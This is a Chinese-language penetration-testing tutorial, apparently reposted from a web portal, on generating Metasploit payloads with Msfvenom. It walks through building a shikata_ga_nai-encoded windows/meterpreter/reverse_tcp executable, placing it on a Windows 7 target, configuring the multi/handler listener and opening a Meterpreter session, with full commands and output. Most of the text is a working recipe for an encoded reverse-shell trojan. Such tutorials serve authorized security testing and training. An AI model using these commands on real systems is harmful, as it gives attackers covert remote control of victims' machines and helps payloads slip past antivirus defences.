MSF攻击载荷生成器允许用户能够生成Shellcode、可执行代码和其他更多的信息,也可以让它们在框架软件之外的渗透代码中进行使用。Shellcode可以生成包括C、JavaScript,甚至Web应用程序中Visual Basic脚本在内的多种格式,每种输出格式可以在不同的场景中使用。在Metasploit中,可以使用Msfvenom工具生成木马程序,并执行和监听控制。本文介绍使用Msfvenom创建攻击载荷的方法。
在Kali Linux 2.0之前的版本中,用于准备攻击载荷的工具是Msfpayload。但是,在Kali Linux 2.0之后的版本中,Msfpayload和Msfencode工具都被Msfvenom代替了。
Msfvenom工具的语法格式如下:
msfvenom [选项]
常用的选项及含义如下:
-p|--payload<payload名称>:指定使用的payload攻击载荷。
--payload-options:列出Payload的标准选项。
-l|--list<模块类型>:列出一个模块类型。可指定的模块类型包括payloads、encoders、nops和all。
-n|--nopsled<长度>:指定生成的攻击载荷长度。
-f|--format<格式>:指定生成的攻击载荷格式。
-e|--encoder<编码器>:使用的编码方式。
-a|--arch<架构>:使用的架构。
--platform<平台>:使用的平台。
-s|--space<长度>:生成攻击载荷的最大尺寸。
-b|--bad-chars<字符列表>:指定需要规避的字符列表,如'x00xff'。
-i|--iterations<次数>:指定进行编码的次数。
-c|--add-code<路径>:指定一个额外的win32 shellcode文件。
-x|--template<路径>:指定一个自定义的可执行文件作为模板使用。
-k|--keep:配置攻击载荷在一个独立的线程中启动。
-o|--out:保存攻击载荷。
-v|--var-name<名称>:指定用于某些输出格式的自定义变量名称。
--smallest:尽可能生成最小的攻击载荷。
生成一个用于攻击Windows 7 sp1的Meterpreter攻击载荷,并利用shikata_ga_nai编码方式。具体操作步骤如下:
1)创建攻击载荷。执行命令如下:
root@Kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b 'x00' LHOST=192.168.1.105 LPORT=443 -f exe > payload.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
以上输出信息显示了生成攻击载荷的过程。从输出的信息中可以看到,已生成了一个大小为468字节的攻击载荷。
2)将生成的攻击载荷payload.exe放到目标主机Windows 7下执行。用户可以手动将该文件移动到目标主机下执行,或者使用Meterpreter中的upload命令将该攻击载荷文件上传到目标主机上。执行命令如下:
meterpreter > upload backdoor.exe
[*] uploading : backdoor.exe -> payload.exe
[*] uploaded : backdoor.exe -> payload.exe
3)在MSF终端启动监听。具体如下:
msf5 > use exploit/multi/handler #选择用于反向连接的监听模块
msf5 exploit(handler) > set payload windows/meterpreter/reverse_tcp #选择攻击载荷
payload => windows/meterpreter/reverse_tcp
msf5 exploit(handler) > show options #查看攻击载荷的配置选项
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- ------- ------ --------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
------ --------------- --------- --------------------------------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ---------------------
0 Wildcard Target
配置LHOST和LPROT选项,注意应与创建的攻击载荷值一致。具体如下:
msf5 exploit(handler) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
msf5 exploit(handler) > set LPORT 443
LPORT => 443
msf5 exploit(handler) > exploit #开启监听
[*] Started reverse TCP handler on 192.168.1.105:443
[*] Starting the payload handler...
通过以上的操作,本地监听就配置好了。接下来,在目标主机上执行payload.exe攻击载荷。当攻击载荷成功执行后,将会与攻击主机建立一个Meterpreter会话连接。具体如下:
[*] Sending stage (957999 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.105:443 -> 192.168.1.102:49914)
at 2019-05-07 19:41:27 +0800
meterpreter >
从以上输出信息中可以看到,已成功获取到一个Meterpreter会话。此时,可对该目标主机实施各种攻击。例如,查看目标主机信息。具体如下:
meterpreter > sysinfo
Computer : WIN-RKPKQFBLG6C
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x86/win32
从输出的信息中可以看到目标主机Windows 7的相关系统信息。
本文来源于:Metasploit渗透测试:使用MSF攻击载荷生成器-变化吧门户
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧门户观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。
- 赞助本站
- 微信扫一扫
- 加入Q群
- QQ扫一扫
评论